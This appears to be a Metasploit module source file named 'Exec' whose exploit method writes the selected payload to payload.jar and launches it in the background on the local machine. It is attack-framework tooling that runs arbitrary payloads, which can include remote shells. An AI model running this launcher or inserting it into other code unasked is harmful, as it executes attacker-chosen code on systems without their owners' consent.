##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Exec',
      'Description'   => %q{ },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'egypt' ],
      'References'    => [ ],
      'Platform'      => [ 'java', 'linux' ],
      'Arch'          => ARCH_JAVA,
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)', {
            'Arch' => ARCH_JAVA,
            'Platform' => 'java'
          } ],
          [ 'Linux', {
            'Arch' => ARCH_X86,
            'Platform' => 'linux'
          } ],
        ],
      'DefaultTarget' => 0
    ))

  end

  def exploit
    # Equivalent to payload.encoded
    @jar_data = payload.encoded_jar.pack

    File.open("payload.jar", "wb") do |fd|
      fd.write(@jar_data)
    end

    pid = Process.spawn("java -jar payload.jar &")
    Process.detach pid
  end

end